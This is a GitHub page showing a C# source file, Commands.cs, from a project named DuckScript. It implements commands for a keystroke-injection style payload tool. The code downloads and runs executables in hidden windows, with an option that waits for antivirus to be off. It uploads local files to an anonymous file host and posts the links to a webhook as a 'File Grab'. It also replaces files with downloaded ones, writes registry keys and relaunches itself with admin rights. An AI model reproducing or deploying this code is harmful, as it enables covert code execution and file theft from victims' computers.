-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathCommands.cs
More file actions
378 lines (357 loc) · 13.6 KB
/
Commands.cs
File metadata and controls
378 lines (357 loc) · 13.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#region using
using Microsoft.CSharp;
using Microsoft.Win32;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Media;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
#endregion
namespace DuckScript
{
class Commands
{
#region Commands
public static void RunPayload(string path, string downloadurl, string arguments)
{
Program.payloadDownloaded = false;
if (!path.Contains("\\"))
{
Program.wc.DownloadFileAsync(new Uri(downloadurl), Program.loc + @"\DuckScript\" + path);
path = Program.loc + @"\DuckScript\" + path;
}
else
{
Program.wc.DownloadFileAsync(new Uri(downloadurl), path);
}
while (!Program.payloadDownloaded) { }
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = path;
if (arguments != "") { startInfo.Arguments = arguments; }
startInfo.UseShellExecute = false;
startInfo.RedirectStandardOutput = true;
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
if (arguments.ToLower() == "/checkantivirus")
{
if (!Global.IsAntiVirusOff())
{
Process.Start(startInfo);
while (!Global.IsAntiVirusOff()) { Thread.Sleep(1000); }
}
}
if (arguments.ToLower() != "/norun")
{
Process.Start(startInfo);
}
}
public static void SpoofMac(string Mac)
{
if (Mac != "")
{
// not random
}
else
{
// random
}
}
public static void playSound(string soundFile)
{
SoundPlayer player = new SoundPlayer(soundFile);
player.Play();
}
public static void Until(string processName, string status)
{
redo:
if (status.ToLower() == "open" || status.ToLower() == "opened")
{
Process[] prcs = Process.GetProcessesByName(processName);
if (prcs.Length == 0) { goto redo; }
else { return; }
}
else if (status.ToLower() == "close" || status.ToLower() == "closed")
{
Process[] prcs = Process.GetProcessesByName(processName);
if (prcs.Length == 0) { return; }
else { goto redo; }
}
}
public static void RunOnlineScript(string scriptfile, string nosettings)
{
string script = "";
if (File.Exists(scriptfile))
{
string[] data = { File.ReadAllText(scriptfile), nosettings.ToLower() };
Thread tr = new Thread(new ThreadStart(() => Program.Main(data)));
tr.Start();
tr.Join();
try { tr.Abort(); } catch { }
}
else
{
try
{
script = Global.FixString(scriptfile).Replace(@"\%", "%");
string filename = Path.GetTempPath() + @"\" + Global.RandomString(8) + ".duck";
File.WriteAllText(filename, script);
string[] data = { filename, nosettings.ToLower() };
Thread tr = new Thread(new ThreadStart(() => Program.Main(data)));
tr.Start();
tr.Join();
try { tr.Abort(); } catch { }
File.Delete(filename);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
Console.ReadLine();
}
}
Console.WriteLine("done");
Console.ReadLine();
}
public static void SendKey(string content)
{
SendKeys.SendWait(Global.FixString(Global.FixKeys(content.Replace("\n", @"%ENTER%"))));
}
public static void FocusWindow(string windowname)
{
IntPtr hWnd;
Process[] processRunning = Process.GetProcesses();
foreach (Process pr in processRunning)
{
if (pr.ProcessName == windowname)
{
hWnd = pr.MainWindowHandle;
Program.ShowWindow(hWnd, 3);
Program.SetForegroundWindow(hWnd);
Thread.Sleep(10);
}
}
}
public static void SetWindowState(string windowname, string state, string location, string size)
{
IntPtr hWnd;
Process[] processRunning = Process.GetProcesses();
foreach (Process pr in processRunning)
{
if (pr.ProcessName.ToLower().Contains(windowname.ToLower()))
{
hWnd = pr.MainWindowHandle;
Rectangle wnd;
Program.GetWindowRect(hWnd, out wnd);
int currentLocationX = wnd.X;
int currentLocationY = wnd.Y;
int currentSizeX = wnd.Width;
int currentSizeY = wnd.Height;
int newLocationX = Convert.ToInt32(location.Split(',')[0]);
int newLocationY = Convert.ToInt32(location.Split(',')[1]);
int newSizeX = Convert.ToInt32(size.Split(',')[0]);
int newSizeY = Convert.ToInt32(size.Split(',')[1]);
if (state.ToLower() == "size")
{
Program.MoveWindow(hWnd, currentLocationX, currentLocationY, newSizeX, newSizeY, true);
}
else if (state.ToLower() == "location")
{
Program.MoveWindow(hWnd, newLocationX, newLocationY, currentSizeX, currentSizeY, true);
}
else if (state.ToLower() == "both")
{
Program.MoveWindow(hWnd, newLocationX, newLocationY, newSizeX, newSizeY, true);
}
}
}
}
public static void UpdateSettings(string setting, string value)
{
if (setting.ToLower() == "webhook")
{
Settings.webhook = value;
}
else if (setting.ToLower() == "errorwebhook")
{
Settings.errorwebhook = value;
}
else if (setting.ToLower() == "username")
{
Settings.username = value;
}
else if (setting.ToLower() == "errors")
{
Settings.errors = value;
}
else if (setting.ToLower() == "debug")
{
Settings.debug = value;
}
}
public static void SetRegKey(string location, string path, string keyname, string newvalue)
{
if (location.ToLower() == "localmachine")
{
RegistryKey reg = Registry.LocalMachine.OpenSubKey(path);
reg.SetValue(keyname, newvalue);
reg.Close();
}
else if (location.ToLower() == "currentuser")
{
RegistryKey reg = Registry.CurrentUser.OpenSubKey(path);
reg.SetValue(keyname, newvalue);
reg.Close();
}
else if (location.ToLower() == "user")
{
RegistryKey reg = Registry.Users.OpenSubKey(path);
reg.SetValue(keyname, newvalue);
reg.Close();
}
else if (location.ToLower() == "classesroot")
{
RegistryKey reg = Registry.ClassesRoot.OpenSubKey(path);
reg.SetValue(keyname, newvalue);
reg.Close();
}
}
public static void DelRegKey(string path, string location, string keyname)
{
if (location.ToLower() == "localmachine")
{
RegistryKey reg = Registry.LocalMachine.OpenSubKey(path);
reg.DeleteValue(keyname);
reg.Close();
}
else if (location.ToLower() == "currentuser")
{
RegistryKey reg = Registry.CurrentUser.OpenSubKey(path);
reg.DeleteValue(keyname);
reg.Close();
}
else if (location.ToLower() == "user")
{
RegistryKey reg = Registry.Users.OpenSubKey(path);
reg.DeleteValue(keyname);
reg.Close();
}
}
public static void ShowMessage(string content, string title)
{
MessageBox.Show(content, title);
}
public static void ShowNote(string filename, string content)
{
filename = filename.Replace(".txt", "");
string path = Path.GetTempPath() + @"\" + filename + ".txt";
File.WriteAllText(path, content);
Process.Start(path);
Thread.Sleep(1000);
File.Delete(path);
}
public static void ModifyFile(string filePath, string downloadlink)
{
if (File.Exists(filePath))
{
File.Delete(filePath);
Program.wc.DownloadFile(downloadlink, filePath);
}
}
public static void SendFile(string filePath)
{
string ReturnValue = "";
int attempts = 0;
try
{
retry:
attempts++;
if (File.Exists(filePath))
{
byte[] Response = Program.wc.UploadFile("https://api.anonfiles.com/upload", filePath);
string ResponseBody = Encoding.ASCII.GetString(Response);
if (ResponseBody.Contains("\"error\": {"))
{
ReturnValue += "There was a erorr while uploading the file.\r\n";
ReturnValue += "Error message: **" + ResponseBody.Split('"')[7] + "**\r\n";
}
else
{
ReturnValue += "Download link: **" + ResponseBody.Split('"')[15] + "**\r\n";
ReturnValue += "File name: **" + ResponseBody.Split('"')[25] + "**\r\n";
}
Global.sendWebHook(ReturnValue, Settings.username);
}
else
{
if (attempts < 10)
{
Thread.Sleep(500);
goto retry;
}
else
{
ReturnValue = "File Grab failed since file did not exist at: **" + filePath + "**";
Global.sendWebHook(ReturnValue, Settings.username);
}
}
}
catch
{
ReturnValue = "Failed to grab file at: **" + filePath + "**";
Global.sendWebHook(ReturnValue, Settings.username);
}
}
public static void Compile(string filename, string source)
{
CSharpCodeProvider codeProvider = new CSharpCodeProvider();
ICodeCompiler icc = codeProvider.CreateCompiler();
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateExecutable = true;
parameters.OutputAssembly = filename;
CompilerResults results = icc.CompileAssemblyFromSource(parameters, source);
if (results.Errors.Count > 0)
{
Console.ForegroundColor = ConsoleColor.Red;
foreach (CompilerError CompErr in results.Errors)
{
Console.WriteLine($"Line number: {CompErr.Line}\n" +
$"Error Number: {CompErr.ErrorNumber}\n" +
$"'{CompErr.ErrorText};\n");
}
}
else
{
Process.Start(filename);
}
}
public static void RestartAsAdmin()
{
if (!Program.isAdmin)
{
Process proc = new Process();
proc.StartInfo.FileName = Assembly.GetExecutingAssembly().Location;
proc.StartInfo.Arguments = Program.scriptfile.Replace(" ", "*");
proc.StartInfo.UseShellExecute = true;
proc.StartInfo.Verb = "runas";
proc.Start();
Environment.Exit(0);
}
}
public static void WriteToFile(string path, string content)
{
if (!File.Exists(path))
{
path = Path.Combine(Path.GetTempPath(), path.Replace(".txt", "") + ".txt");
File.WriteAllText(path, content);
Thread.Sleep(1000);
}
}
#endregion
}
}